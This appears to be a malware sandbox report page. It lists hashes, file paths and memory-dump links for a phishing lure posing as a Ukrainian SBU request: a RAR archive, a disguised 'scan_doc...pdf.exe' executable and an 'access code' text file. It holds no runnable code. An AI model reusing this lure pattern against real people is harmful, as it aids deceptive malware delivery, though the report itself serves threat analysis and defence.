SHA256 62d09b6c5d9709d1334bdf2c65b82981f4f2e6d1e992434ff23ca4e9e599f8f1
MD5 ddc257586fa2db74fc8c091e371e8d43
SHA1 b7f975a4ac60383cd7a74d93a14be01209a80b41
SHA512 ad3d5bc55de99d246dc8f58542b3ee057df2e2bb61112857316d3e31efd1ea41f42098d610373ea2c18c0b52cdef7a7c097379659722e88934bfad548ebab94a
SSDEEP 48:Y37awkdVWUQtpENB1CljOsWQrVDWdxWXzzDYMVu7986SPVL7w7pltsfbLkkxyJFO:Saw8Vm3E/GAR+XzzUb+6EYmLkkwRn2h
MD5 SHA1 SHA512 SSDEEP

Submit Download

xulstore.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefoxcopy\Profiles\yuzka873.default-release\xulstore.json
Size 141B
SHA256 bade20948c677d1d458e39a4cf6d8c4d8237263d55e63370d6272fa3243ffe28
MD5 d7a9c29a5421078a9135ccf1cade552a
SHA1 e1b43108778d359d8d9287cf59225617e1769463
SHA512 49553b13fa1cc8d257f2ca9056742e6e11fbdce21633edeb5af6f863294f97ccf3cabe851d94bcedba03e2716311a48dcf8064eb1500f8a7c400b049bf48296f
MD5 SHA1 SHA512

Submit Download

Запит СБУ.rar

Path C:\Users\Admin\Desktop\Запит СБУ\Запит СБУ.rar
Size 986KB
SHA256 c6db7cdc86e4431701bee2e70e754b2c470d8ea343d1da9baddf9044213699cf
MD5 ef95a3bf440767a27a5a0684826931d3
SHA1 dd9e51f480cb4495f9fac3651454bb2b1533486d
SHA512 0db071452c6b96187405ffc6c4d727518645469b50b6ee10004b1b644c946c33ebb111df7df357498eb792f04960eab318ea9933b8b6389c2f463f85cae33a10
SSDEEP 24576:z5g167y+rl6d68YVdLpeRGOKIlwu2Q3crnO+PT:p7y+lgCL2wuN3crntPT
MD5 SHA1 SHA512 SSDEEP

Submit Download

scan_doc_zapit_836893.pdf.exe

Path C:\Users\Admin\Desktop\Запит СБУ\Запит СБУ\scan_doc_zapit_836893.pdf.exe
Size 1014KB
SHA256 5c1ce789a60371e388881ffbe0311bd2829e5e8dbaf77506929e50638f22d866
MD5 cbcb0ff5aa471e22a6b129196a556d97
SHA1 b3dca2cac1624e6a8b318708c02376c1eb6ab784
SHA512 b98bb17994d5fdf38cb3a181bc15c3f64779aa33f7a508d1a9ce1e2ab1b1a2d9260c2dcdaf8c4f597738827a4df6f906c55903dfdc0da9216e3f656b8e0a73e0
SSDEEP 24576:B6p9TyXofw1dupRAygiMPlqD8j0DbxqmELM+cYbaD:0XyXo6dupOeMPlqQjexqmEBaD
MD5 SHA1 SHA512 SSDEEP

Submit Download

код доступу 937463543.txt

Path C:\Users\Admin\Desktop\Запит СБУ\код доступу 937463543.txt
Size 140B
SHA256 87c63257c618595cbaa52e7f42da73811187e9321dd386520dde630e5cd8de85
MD5 948a0d1d0f9da30f9be7a35aa65a137a
SHA1 0e6c97b082d315520b28bb181ca9a04b3c4d62b8
SHA512 aacb6370a8b27da7219ee4d7f587668c6c6c190f87f33987c7d625c0098593cc808ee8b0a8d01f7c977f37eb2dc90081f211b0b4a1d6648509e14f9e489ce7d1
MD5 SHA1 SHA512

Submit Download

memory/1604-1324-0x0000000000190000-0x0000000000201000-memory.dmp

Download

memory/1604-1329-0x0000000000190000-0x0000000000201000-memory.dmp

Download

memory/1604-1472-0x0000000000190000-0x0000000000201000-memory.dmp

Download

memory/1604-1325-0x0000000000190000-0x0000000000201000-memory.dmp

Download

memory/1604-1466-0x0000000000190000-0x0000000000201000-memory.dmp

Download

memory/1604-1326-0x0000000000190000-0x0000000000201000-memory.dmp

Download

memory/1604-1327-0x0000000000190000-0x0000000000201000-memory.dmp

Download

memory/1604-1328-0x0000000000190000-0x0000000000201000-memory.dmp

Download

memory/4380-862-0x0000000000190000-0x00000000001EA000-memory.dmp

Download

memory/4380-861-0x0000000000190000-0x00000000001EA000-memory.dmp

Download

memory/4380-863-0x0000000000190000-0x00000000001EA000-memory.dmp

Download

memory/4380-864-0x0000000000190000-0x00000000001EA000-memory.dmp

Download

memory/4380-865-0x0000000000190000-0x00000000001EA000-memory.dmp

Download

memory/4380-866-0x0000000000190000-0x00000000001EA000-memory.dmp

Download

memory/4380-1136-0x0000000000190000-0x00000000001EA000-memory.dmp

Download

memory/4380-1212-0x0000000000190000-0x00000000001EA000-memory.dmp

Download

memory/4380-1296-0x0000000000190000-0x00000000001EA000-memory.dmp

Download